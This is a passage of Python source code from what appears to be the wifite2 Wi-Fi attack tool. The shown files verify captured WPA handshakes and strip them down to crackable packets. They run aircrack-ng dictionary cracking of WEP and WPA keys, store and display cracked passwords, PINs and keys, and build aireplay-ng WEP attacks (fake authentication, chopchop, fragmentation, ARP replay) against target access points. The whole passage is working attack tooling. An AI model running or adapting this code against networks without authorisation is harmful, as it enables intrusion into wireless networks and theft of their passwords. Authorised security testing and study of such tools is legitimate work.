0: return True if len(self.pyrit_handshakes()) > 0: return True # TODO: Can we trust cowpatty & aircrack? #if len(self.cowpatty_handshakes()) > 0: return True #if len(self.aircrack_handshakes()) > 0: return True return False def tshark_handshakes(self): '''Returns list[tuple] of BSSID & ESSID pairs (ESSIDs are always `None`).''' tshark_bssids = Tshark.bssids_with_handshakes(self.capfile, bssid=self.bssid) return [(bssid, None) for bssid in tshark_bssids] def cowpatty_handshakes(self): '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).''' if not Process.exists('cowpatty'): return [] if not self.essid: return [] # We need a essid for cowpatty :( command = [ 'cowpatty', '-r', self.capfile, '-s', self.essid, '-c' # Check for handshake ] proc = Process(command, devnull=False) for line in proc.stdout().split('\n'): if 'Collected all necessary data to mount crack against WPA' in line: return [(None, self.essid)] return [] def pyrit_handshakes(self): '''Returns list[tuple] of BSSID & ESSID pairs.''' return Pyrit.bssid_essid_with_handshakes( self.capfile, bssid=self.bssid, essid=self.essid) def aircrack_handshakes(self): '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked''' if not self.bssid: return [] # Aircrack requires BSSID command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) (stdout, stderr) = Process.call(command) if 'passphrase not in dictionary' in stdout.lower(): return [(self.bssid, None)] else: return [] def analyze(self): '''Prints analysis of handshake capfile''' self.divine_bssid_and_essid() if Tshark.exists(): Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') if Pyrit.exists(): Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') if Process.exists('cowpatty'): Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') def strip(self, outfile=None): # XXX: This method might break aircrack-ng, use at own risk. ''' Strips out packets from handshake that aren't necessary to crack. Leaves only handshake packets and SSID broadcast (for discovery). Args: outfile - Filename to save stripped handshake to. If outfile==None, overwrite existing self.capfile. ''' if not outfile: outfile = self.capfile + '.temp' replace_existing_file = True else: replace_existing_file = False cmd = [ 'tshark', '-r', self.capfile, # input file '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter '-w', outfile # output file ] proc = Process(cmd) proc.wait() if replace_existing_file: from shutil import copy copy(outfile, self.capfile) os.remove(outfile) pass @staticmethod def print_pairs(pairs, capfile, tool=None): ''' Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) ''' tool_str = '' if tool is not None: tool_str = '{C}%s{W}: ' % tool.rjust(8) if len(pairs) == 0: Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str)) return for (bssid, essid) in pairs: out_str = '{+} %s.cap file {G}contains a valid handshake{W} for' % tool_str if bssid and essid: Color.pl('%s {G}%s{W} ({G}%s{W})' % (out_str, bssid, essid)) elif bssid: Color.pl('%s {G}%s{W}' % (out_str, bssid)) elif essid: Color.pl('%s ({G}%s{W})' % (out_str, essid)) @staticmethod def check(): ''' Analyzes .cap file(s) for handshake ''' from ..config import Configuration if Configuration.check_handshake == '': Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') try: capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] except OSError as e: capfiles = [] if len(capfiles) == 0: Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') else: capfiles = [Configuration.check_handshake] for capfile in capfiles: Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) if not os.path.exists(capfile): Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) return hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) hs.analyze() Color.pl('') if __name__ == '__main__': print('With BSSID & ESSID specified:') hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') hs.analyze() print('has_hanshake() =', hs.has_handshake()) print('\nWith BSSID, but no ESSID specified:') hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') hs.analyze() print('has_hanshake() =', hs.has_handshake()) print('\nWith ESSID, but no BSSID specified:') hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') hs.analyze() print('has_hanshake() =', hs.has_handshake()) print('\nWith neither BSSID nor ESSID specified:') hs = Handshake('./tests/files/handshake_has_1234.cap') try: hs.analyze() print('has_hanshake() =', hs.has_handshake()) except Exception as e: Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e) ================================================ FILE: wifite/model/pmkid_result.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from .result import CrackResult class CrackResultPMKID(CrackResult): def __init__(self, bssid, essid, pmkid_file, key): self.result_type = 'PMKID' self.bssid = bssid self.essid = essid self.pmkid_file = pmkid_file self.key = key super(CrackResultPMKID, self).__init__() def dump(self): if self.essid: Color.pl('{+} %s: {C}%s{W}' % ('Access Point Name'.rjust(19), self.essid)) if self.bssid: Color.pl('{+} %s: {C}%s{W}' % ('Access Point BSSID'.rjust(19), self.bssid)) Color.pl('{+} %s: {C}%s{W}' % ('Encryption'.rjust(19), self.result_type)) if self.pmkid_file: Color.pl('{+} %s: {C}%s{W}' % ('PMKID File'.rjust(19), self.pmkid_file)) if self.key: Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key)) else: Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) def print_single_line(self, longest_essid): self.print_single_line_prefix(longest_essid) Color.p('{G}%s{W}' % 'PMKID'.ljust(5)) Color.p(' ') Color.p('Key: {G}%s{W}' % self.key) Color.pl('') def to_dict(self): return { 'type' : self.result_type, 'date' : self.date, 'essid' : self.essid, 'bssid' : self.bssid, 'key' : self.key, 'pmkid_file' : self.pmkid_file } if __name__ == '__main__': w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'abcd1234') w.dump() w = CrackResultPMKID('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/pmkid_blah-123213.16800', 'Key') print('\n') w.dump() w.save() print(w.__dict__['bssid']) ================================================ FILE: wifite/model/result.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from ..config import Configuration import os import time from json import loads, dumps class CrackResult(object): ''' Abstract class containing results from a crack session ''' # File to save cracks to, in PWD cracked_file = Configuration.cracked_file def __init__(self): self.date = int(time.time()) self.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.date)) def dump(self): raise Exception('Unimplemented method: dump()') def to_dict(self): raise Exception('Unimplemented method: to_dict()') def print_single_line(self, longest_essid): raise Exception('Unimplemented method: print_single_line()') def print_single_line_prefix(self, longest_essid): essid = self.essid if self.essid else 'N/A' Color.p('{W} ') Color.p('{C}%s{W}' % essid.ljust(longest_essid)) Color.p(' ') Color.p('{GR}%s{W}' % self.bssid.ljust(17)) Color.p(' ') Color.p('{D}%s{W}' % self.readable_date.ljust(19)) Color.p(' ') def save(self): ''' Adds this crack result to the cracked file and saves it. ''' name = CrackResult.cracked_file saved_results = [] if os.path.exists(name): with open(name, 'r') as fid: text = fid.read() try: saved_results = loads(text) except Exception as e: Color.pl('{!} error while loading %s: %s' % (name, str(e))) # Check for duplicates this_dict = self.to_dict() this_dict.pop('date') for entry in saved_results: this_dict['date'] = entry.get('date') if entry == this_dict: # Skip if we already saved this BSSID+ESSID+TYPE+KEY Color.pl('{+} {C}%s{O} already exists in {G}%s{O}, skipping.' % ( self.essid, Configuration.cracked_file)) return saved_results.append(self.to_dict()) with open(name, 'w') as fid: fid.write(dumps(saved_results, indent=2)) Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})' % (name, len(saved_results))) @classmethod def display(cls): ''' Show cracked targets from cracked file ''' name = cls.cracked_file if not os.path.exists(name): Color.pl('{!} {O}file {C}%s{O} not found{W}' % name) return with open(name, 'r') as fid: cracked_targets = loads(fid.read()) if len(cracked_targets) == 0: Color.pl('{!} {R}no results found in {O}%s{W}' % name) return Color.pl('\n{+} Displaying {G}%d{W} cracked target(s) from {C}%s{W}\n' % ( len(cracked_targets), name)) results = sorted([cls.load(item) for item in cracked_targets], key=lambda x: x.date, reverse=True) longest_essid = max([len(result.essid or 'ESSID') for result in results]) # Header Color.p('{D} ') Color.p('ESSID'.ljust(longest_essid)) Color.p(' ') Color.p('BSSID'.ljust(17)) Color.p(' ') Color.p('DATE'.ljust(19)) Color.p(' ') Color.p('TYPE'.ljust(5)) Color.p(' ') Color.p('KEY') Color.pl('{D}') Color.p(' ' + '-' * (longest_essid + 17 + 19 + 5 + 11 + 12)) Color.pl('{W}') # Results for result in results: result.print_single_line(longest_essid) Color.pl('') @classmethod def load_all(cls): if not os.path.exists(cls.cracked_file): return [] with open(cls.cracked_file, 'r') as json_file: json = loads(json_file.read()) return json @staticmethod def load(json): ''' Returns an instance of the appropriate object given a json instance ''' if json['type'] == 'WPA': from .wpa_result import CrackResultWPA result = CrackResultWPA(json['bssid'], json['essid'], json['handshake_file'], json['key']) elif json['type'] == 'WEP': from .wep_result import CrackResultWEP result = CrackResultWEP(json['bssid'], json['essid'], json['hex_key'], json['ascii_key']) elif json['type'] == 'WPS': from .wps_result import CrackResultWPS result = CrackResultWPS(json['bssid'], json['essid'], json['pin'], json['psk']) elif json['type'] == 'PMKID': from .pmkid_result import CrackResultPMKID result = CrackResultPMKID(json['bssid'], json['essid'], json['pmkid_file'], json['key']) result.date = json['date'] result.readable_date = time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(result.date)) return result if __name__ == '__main__': # Deserialize WPA object Color.pl('\nCracked WPA:') json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "essid": "Test Router", "key": "Key", "date": 1433402428, "handshake_file": "hs/capfile.cap", "type": "WPA"}') obj = CrackResult.load(json) obj.dump() # Deserialize WEP object Color.pl('\nCracked WEP:') json = loads('{"bssid": "AA:BB:CC:DD:EE:FF", "hex_key": "00:01:02:03:04", "ascii_key": "abcde", "essid": "Test Router", "date": 1433402915, "type": "WEP"}') obj = CrackResult.load(json) obj.dump() # Deserialize WPS object Color.pl('\nCracked WPS:') json = loads('{"psk": "the psk", "bssid": "AA:BB:CC:DD:EE:FF", "pin": "01234567", "essid": "Test Router", "date": 1433403278, "type": "WPS"}') obj = CrackResult.load(json) obj.dump() ================================================ FILE: wifite/model/target.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color import re class WPSState: NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4) class Target(object): ''' Holds details for a 'Target' aka Access Point (e.g. router). ''' def __init__(self, fields): ''' Initializes & stores target info based on fields. Args: Fields - List of strings INDEX KEY EXAMPLE 0 BSSID (00:1D:D5:9B:11:00) 1 First time seen (2015-05-27 19:28:43) 2 Last time seen (2015-05-27 19:28:46) 3 channel (6) 4 Speed (54) 5 Privacy (WPA2) 6 Cipher (CCMP TKIP) 7 Authentication (PSK) 8 Power (-62) 9 beacons (2) 10 # IV (0) 11 LAN IP (0. 0. 0. 0) 12 ID-length (9) 13 ESSID (HOME-ABCD) 14 Key () ''' self.bssid = fields[0].strip() self.channel = fields[3].strip() self.encryption = fields[5].strip() if 'WPA' in self.encryption: self.encryption = 'WPA' elif 'WEP' in self.encryption: self.encryption = 'WEP' if len(self.encryption) > 4: self.encryption = self.encryption[0:4].strip() self.power = int(fields[8].strip()) if self.power < 0: self.power += 100 self.beacons = int(fields[9].strip()) self.ivs = int(fields[10].strip()) self.essid_known = True self.essid_len = int(fields[12].strip()) self.essid = fields[13] if self.essid == '\\x00' * self.essid_len or \ self.essid == 'x00' * self.essid_len or \ self.essid.strip() == '': # Don't display '\x00...' for hidden ESSIDs self.essid = None # '(%s)' % self.bssid self.essid_known = False self.wps = WPSState.UNKNOWN self.decloaked = False # If ESSID was hidden but we decloaked it. self.clients = [] self.validate() def validate(self): ''' Checks that the target is valid. ''' if self.channel == '-1': raise Exception('Ignoring target with Negative-One (-1) channel') # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32 bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE) if bssid_broadcast.match(self.bssid): raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid) bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE) if bssid_multicast.match(self.bssid): raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid) def to_str(self, show_bssid=False): ''' *Colored* string representation of this Target. Specifically formatted for the 'scanning' table view. ''' max_essid_len = 24 essid = self.essid if self.essid_known else '(%s)' % self.bssid # Trim ESSID (router name) if needed if len(essid) > max_essid_len: essid = essid[0:max_essid_len-3] + '...' else: essid = essid.rjust(max_essid_len) if self.essid_known: # Known ESSID essid = Color.s('{C}%s' % essid) else: # Unknown ESSID essid = Color.s('{O}%s' % essid) # Add a '*' if we decloaked the ESSID decloaked_char = '*' if self.decloaked else ' ' essid += Color.s('{P}%s' % decloaked_char) if show_bssid: bssid = Color.s('{O}%s ' % self.bssid) else: bssid = '' channel_color = '{G}' if int(self.channel) > 14: channel_color = '{C}' channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3))) encryption = self.encryption.rjust(4) if 'WEP' in encryption: encryption = Color.s('{G}%s' % encryption) elif 'WPA' in encryption: encryption = Color.s('{O}%s' % encryption) power = '%sdb' % str(self.power).rjust(3) if self.power > 50: color ='G' elif self.power > 35: color = 'O' else: color = 'R' power = Color.s('{%s}%s' % (color, power)) if self.wps == WPSState.UNLOCKED: wps = Color.s('{G} yes') elif self.wps == WPSState.NONE: wps = Color.s('{O} no') elif self.wps == WPSState.LOCKED: wps = Color.s('{R}lock') elif self.wps == WPSState.UNKNOWN: wps = Color.s('{O} n/a') clients = ' ' if len(self.clients) > 0: clients = Color.s('{G} ' + str(len(self.clients))) result = '%s %s%s %s %s %s %s' % ( essid, bssid, channel, encryption, power, wps, clients) result += Color.s('{W}') return result if __name__ == '__main__': fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') t = Target(fields) t.clients.append('asdf') t.clients.append('asdf') print(t.to_str()) ================================================ FILE: wifite/model/wep_result.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from .result import CrackResult import time class CrackResultWEP(CrackResult): def __init__(self, bssid, essid, hex_key, ascii_key): self.result_type = 'WEP' self.bssid = bssid self.essid = essid self.hex_key = hex_key self.ascii_key = ascii_key super(CrackResultWEP, self).__init__() def dump(self): if self.essid: Color.pl('{+} ESSID: {C}%s{W}' % self.essid) Color.pl('{+} BSSID: {C}%s{W}' % self.bssid) Color.pl('{+} Encryption: {C}%s{W}' % self.result_type) Color.pl('{+} Hex Key: {G}%s{W}' % self.hex_key) if self.ascii_key: Color.pl('{+} Ascii Key: {G}%s{W}' % self.ascii_key) def print_single_line(self, longest_essid): self.print_single_line_prefix(longest_essid) Color.p('{G}%s{W}' % 'WEP'.ljust(5)) Color.p(' ') Color.p('Hex: {G}%s{W}' % self.hex_key.replace(':', '')) if self.ascii_key: Color.p(' (ASCII: {G}%s{W})' % self.ascii_key) Color.pl('') def to_dict(self): return { 'type' : self.result_type, 'date' : self.date, 'essid' : self.essid, 'bssid' : self.bssid, 'hex_key' : self.hex_key, 'ascii_key' : self.ascii_key } if __name__ == '__main__': crw = CrackResultWEP('AA:BB:CC:DD:EE:FF', 'Test Router', '00:01:02:03:04', 'abcde') crw.dump() crw.save() ================================================ FILE: wifite/model/wpa_result.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from .result import CrackResult class CrackResultWPA(CrackResult): def __init__(self, bssid, essid, handshake_file, key): self.result_type = 'WPA' self.bssid = bssid self.essid = essid self.handshake_file = handshake_file self.key = key super(CrackResultWPA, self).__init__() def dump(self): if self.essid: Color.pl('{+} %s: {C}%s{W}' % ('Access Point Name'.rjust(19), self.essid)) if self.bssid: Color.pl('{+} %s: {C}%s{W}' % ('Access Point BSSID'.rjust(19), self.bssid)) Color.pl('{+} %s: {C}%s{W}' % ('Encryption'.rjust(19), self.result_type)) if self.handshake_file: Color.pl('{+} %s: {C}%s{W}' % ('Handshake File'.rjust(19), self.handshake_file)) if self.key: Color.pl('{+} %s: {G}%s{W}' % ('PSK (password)'.rjust(19), self.key)) else: Color.pl('{!} %s {O}key unknown{W}' % ''.rjust(19)) def print_single_line(self, longest_essid): self.print_single_line_prefix(longest_essid) Color.p('{G}%s{W}' % 'WPA'.ljust(5)) Color.p(' ') Color.p('Key: {G}%s{W}' % self.key) Color.pl('') def to_dict(self): return { 'type' : self.result_type, 'date' : self.date, 'essid' : self.essid, 'bssid' : self.bssid, 'key' : self.key, 'handshake_file' : self.handshake_file } if __name__ == '__main__': w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'abcd1234') w.dump() w = CrackResultWPA('AA:BB:CC:DD:EE:FF', 'Test Router', 'hs/capfile.cap', 'Key') print('\n') w.dump() w.save() print(w.__dict__['bssid']) ================================================ FILE: wifite/model/wps_result.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from ..util.color import Color from ..model.result import CrackResult import time class CrackResultWPS(CrackResult): def __init__(self, bssid, essid, pin, psk): self.result_type = 'WPS' self.bssid = bssid self.essid = essid self.pin = pin self.psk = psk super(CrackResultWPS, self).__init__() def dump(self): if self.essid is not None: Color.pl('{+} %s: {C}%s{W}' % ( 'ESSID'.rjust(12), self.essid)) if self.psk is None: psk = '{O}N/A{W}' else: psk = '{G}%s{W}' % self.psk Color.pl('{+} %s: {C}%s{W}' % ( 'BSSID'.rjust(12), self.bssid)) Color.pl('{+} %s: {C}WPA{W} ({C}WPS{W})' % 'Encryption'.rjust(12)) Color.pl('{+} %s: {G}%s{W}' % ( 'WPS PIN'.rjust(12), self.pin)) Color.pl('{+} %s: {G}%s{W}' % ('PSK/Password'.rjust(12), psk)) def print_single_line(self, longest_essid): self.print_single_line_prefix(longest_essid) Color.p('{G}%s{W}' % 'WPS'.ljust(5)) Color.p(' ') if self.psk: Color.p('Key: {G}%s{W} ' % self.psk) Color.p('PIN: {G}%s{W}' % self.pin) Color.pl('') def to_dict(self): return { 'type' : self.result_type, 'date' : self.date, 'essid' : self.essid, 'bssid' : self.bssid, 'pin' : self.pin, 'psk' : self.psk } if __name__ == '__main__': crw = CrackResultWPS('AA:BB:CC:DD:EE:FF', 'Test Router', '01234567', 'the psk') crw.dump() crw.save() ================================================ FILE: wifite/tools/__init__.py ================================================ ================================================ FILE: wifite/tools/aircrack.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..util.process import Process from ..util.input import xrange from ..config import Configuration import os import re class Aircrack(Dependency): dependency_required = True dependency_name = 'aircrack-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, ivs_file=None): self.cracked_file = os.path.abspath( os.path.join( Configuration.temp(), 'wepkey.txt')) # Delete previous cracked files if os.path.exists(self.cracked_file): os.remove(self.cracked_file) command = [ 'aircrack-ng', '-a', '1', '-l', self.cracked_file, ] if type(ivs_file) is str: ivs_file = [ivs_file] command.extend(ivs_file) self.pid = Process(command, devnull=True) def is_running(self): return self.pid.poll() is None def is_cracked(self): return os.path.exists(self.cracked_file) def stop(self): ''' Stops aircrack process ''' if self.pid.poll() is None: self.pid.interrupt() def get_key_hex_ascii(self): if not self.is_cracked(): raise Exception('Cracked file not found') with open(self.cracked_file, 'r') as fid: hex_raw = fid.read() return self._hex_and_ascii_key(hex_raw) @staticmethod def _hex_and_ascii_key(hex_raw): hex_chars = [] ascii_key = '' for index in xrange(0, len(hex_raw), 2): byt = hex_raw[index:index+2] hex_chars.append(byt) byt_int = int(byt, 16) if byt_int < 32 or byt_int > 127 or ascii_key is None: ascii_key = None # Not printable else: ascii_key += chr(byt_int) hex_key = ':'.join(hex_chars) return (hex_key, ascii_key) def __del__(self): if os.path.exists(self.cracked_file): os.remove(self.cracked_file) @staticmethod def crack_handshake(handshake, show_command=False): from ..util.color import Color from ..util.timer import Timer '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' key_file = Configuration.temp('wpakey.txt') command = [ 'aircrack-ng', '-a', '2', '-w', Configuration.wordlist, '--bssid', handshake.bssid, '-l', key_file, handshake.capfile ] if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) crack_proc = Process(command) # Report progress of cracking aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s') aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$') num_tried = num_total = 0 percent = num_kps = 0.0 eta_str = 'unknown' current_key = '' while crack_proc.poll() is None: line = crack_proc.pid.stdout.readline() match_nums = aircrack_nums_re.search(line.decode('utf-8')) match_keys = aircrack_key_re.search(line.decode('utf-8')) if match_nums: num_tried = int(match_nums.group(1)) num_total = int(match_nums.group(2)) num_kps = float(match_nums.group(3)) eta_seconds = (num_total - num_tried) / num_kps eta_str = Timer.secs_to_str(eta_seconds) percent = 100.0 * float(num_tried) / float(num_total) elif match_keys: current_key = match_keys.group(1) else: continue status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent status += ' ETA: {C}%s{W}' % eta_str status += ' @ {C}%0.1fkps{W}' % num_kps #status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total) status += ' (current key: {C}%s{W})' % current_key Color.clear_entire_line() Color.p(status) Color.pl('') # Check crack result if os.path.exists(key_file): with open(key_file, 'r') as fid: key = fid.read().strip() os.remove(key_file) return key else: return None if __name__ == '__main__': (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey assert asciikey is None, 'asciikey was "%s", expected None' % asciikey (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465') assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey from time import sleep Configuration.initialize(False) ivs_file = 'tests/files/wep-crackable.ivs' print('Running aircrack on %s ...' % ivs_file) aircrack = Aircrack(ivs_file) while aircrack.is_running(): sleep(1) assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file print('aircrack process completed.') (hexkey, asciikey) = aircrack.get_key_hex_ascii() print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey)) assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey Configuration.exit_gracefully(0) ================================================ FILE: wifite/tools/aireplay.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from .dependency import Dependency from ..config import Configuration from ..util.process import Process from ..util.timer import Timer import os, time, re from threading import Thread class WEPAttackType(object): ''' Enumeration of different WEP attack types ''' fakeauth = 0 replay = 1 chopchop = 2 fragment = 3 caffelatte = 4 p0841 = 5 hirte = 6 forgedreplay = 7 def __init__(self, var): ''' Sets appropriate attack name/value given an input. Args: var - Can be a string, number, or WEPAttackType object This object's name & value is set depending on var. ''' self.value = None self.name = None if type(var) is int: for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if value == var: self.name = name self.value = value return raise Exception('Attack number %d not found' % var) elif type(var) is str: for (name,value) in WEPAttackType.__dict__.items(): if type(value) is int: if name == var: self.name = name self.value = value return raise Exception('Attack name %s not found' % var) elif type(var) == WEPAttackType: self.name = var.name self.value = var.value else: raise Exception('Attack type not supported') def __str__(self): return self.name class Aireplay(Thread, Dependency): dependency_required = True dependency_name = 'aireplay-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, target, attack_type, client_mac=None, replay_file=None): ''' Starts aireplay process. Args: target - Instance of Target object, AP to attack. attack_type - str, e.g. 'fakeauth', 'arpreplay', etc. client_mac - MAC address of an associated client. ''' super(Aireplay, self).__init__() # Init the parent Thread self.target = target self.output_file = Configuration.temp('aireplay_%s.output' % attack_type) self.attack_type = WEPAttackType(attack_type).value self.error = None self.status = None self.cmd = Aireplay.get_aireplay_command(self.target, attack_type, client_mac=client_mac, replay_file=replay_file) self.pid = Process(self.cmd, stdout=open(self.output_file, 'a'), stderr=Process.devnull(), cwd=Configuration.temp()) self.start() def is_running(self): return self.pid.poll() is None def stop(self): ''' Stops aireplay process ''' if hasattr(self, 'pid') and self.pid and self.pid.poll() is None: self.pid.interrupt() def get_output(self): ''' Returns stdout from aireplay process ''' return self.stdout def run(self): self.stdout = '' self.xor_percent = '0%' while self.pid.poll() is None: time.sleep(0.1) if not os.path.exists(self.output_file): continue # Read output file & clear output file with open(self.output_file, 'r+') as fid: lines = fid.read() self.stdout += lines fid.seek(0) fid.truncate() if Configuration.verbose > 1 and lines.strip() != '': from ..util.color import Color Color.pl('\n{P} [?] aireplay output:\n %s{W}' % lines.strip().replace('\n', '\n ')) for line in lines.split('\n'): line = line.replace('\r', '').strip() if line == '': continue if 'Notice: got a deauth/disassoc packet' in line: self.error = 'Not associated (needs fakeauth)' if self.attack_type == WEPAttackType.fakeauth: # Look for fakeauth status. Potential Output lines: # (START): 00:54:58 Sending Authentication Request (Open System) if 'Sending Authentication Request ' in line: self.status = None # Reset # (????): Please specify an ESSID (-e). elif 'Please specify an ESSID' in line: self.status = None # (FAIL): 00:57:43 Got a deauthentication packet! (Waiting 3 seconds) elif 'Got a deauthentication packet!' in line: self.status = False # (PASS): 20:17:25 Association successful :-) (AID: 1) # (PASS): 20:18:55 Reassociation successful :-) (AID: 1) elif 'association successful :-)' in line.lower(): self.status = True elif self.attack_type == WEPAttackType.chopchop: # Look for chopchop status. Potential output lines: # (START) Read 178 packets... read_re = re.compile(r'Read (\d+) packets') matches = read_re.match(line) if matches: self.status = 'Waiting for packet (read %s)...' % matches.group(1) # Sent 1912 packets, current guess: 70... sent_re = re.compile(r'Sent (\d+) packets, current guess: (\w+)...') matches = sent_re.match(line) if matches: self.status = 'Generating .xor (%s)... current guess: %s' % (self.xor_percent, matches.group(2)) # (DURING) Offset 52 (54% done) | xor = DE | pt = E0 | 152 frames written in 2782ms offset_re = re.compile(r'Offset.*\(\s*(\d+%) done\)') matches = offset_re.match(line) if matches: self.xor_percent = matches.group(1) self.status = 'Generating .xor (%s)...' % self.xor_percent # (DONE) Saving keystream in replay_dec-0516-202246.xor saving_re = re.compile(r'Saving keystream in (.*\.xor)') matches = saving_re.match(line) if matches: self.status = matches.group(1) # (ERROR) fakeauth required if 'try running aireplay-ng in authenticated mode' in line: self.status = 'fakeauth is required and you are not authenticated' elif self.attack_type == WEPAttackType.fragment: # Parse fragment output, update self.status # (START) Read 178 packets... read_re = re.compile(r'Read (\d+) packets') matches = read_re.match(line) if matches: self.status = 'Waiting for packet (read %s)...' % matches.group(1) # 01:08:15 Waiting for a data packet... if 'Waiting for a data packet' in line: self.status = 'waiting for packet' # Read 207 packets... trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream') matches = trying_re.match(line) if matches: self.status = 'trying to get %sb of a keystream' % matches.group(1) # 01:08:17 Sending fragmented packet if 'Sending fragmented packet' in line: self.status = 'sending packet' # 01:08:37 Still nothing, trying another packet... if 'Still nothing, trying another packet' in line: self.status = 'sending another packet' # XX:XX:XX Trying to get 1500 bytes of a keystream trying_re = re.compile(r'Trying to get (\d+) bytes of a keystream') matches = trying_re.match(line) if matches: self.status = 'trying to get %sb of a keystream' % matches.group(1) # XX:XX:XX Got RELAYED packet!! if 'Got RELAYED packet' in line: self.status = 'got relayed packet' # XX:XX:XX That's our ARP packet! if 'Thats our ARP packet' in line: self.status = 'relayed packet was our' # XX:XX:XX Saving keystream in fragment-0124-161129.xor saving_re = re.compile(r'Saving keystream in (.*\.xor)') matches = saving_re.match(line) if matches: self.status = 'saving keystream to %s' % matches.group(1) # XX:XX:XX Now you can build a packet with packetforge-ng out of that 1500 bytes keystream else: # Replay, forged replay, etc. # Parse Packets Sent & PacketsPerSecond. Possible output lines: # Read 55 packets (got 0 ARP requests and 0 ACKs), sent 0 packets...(0 pps) # Read 4467 packets (got 1425 ARP requests and 1417 ACKs), sent 1553 packets...(100 pps) read_re = re.compile(r'Read (\d+) packets \(got (\d+) ARP requests and (\d+) ACKs\), sent (\d+) packets...\((\d+) pps\)') matches = read_re.match(line) if matches: pps = matches.group(5) if pps == '0': self.status = 'Waiting for packet...' else: self.status = 'Replaying @ %s/sec' % pps pass def __del__(self): self.stop() @staticmethod def get_aireplay_command(target, attack_type, client_mac=None, replay_file=None): ''' Generates aireplay command based on target and attack type Args: target - Instance of Target object, AP to attack. attack_type - int, str, or WEPAttackType instance. client_mac - MAC address of an associated client. replay_file - .Cap file to replay via --arpreplay ''' # Interface is required at this point Configuration.initialize() if Configuration.interface is None: raise Exception('Wireless interface must be defined (-i)') cmd = ['aireplay-ng'] cmd.append('--ignore-negative-one') if client_mac is None and len(target.clients) > 0: # Client MAC wasn't specified, but there's an associated client. Use that. client_mac = target.clients[0].station # type(attack_type) might be str, int, or WEPAttackType. # Find the appropriate attack enum. attack_type = WEPAttackType(attack_type).value if attack_type == WEPAttackType.fakeauth: cmd.extend([ '--fakeauth', '30', # Fake auth every 30 seconds '-Q', # Send re-association packets '-a', target.bssid ]) if target.essid_known: cmd.extend(['-e', target.essid]) elif attack_type == 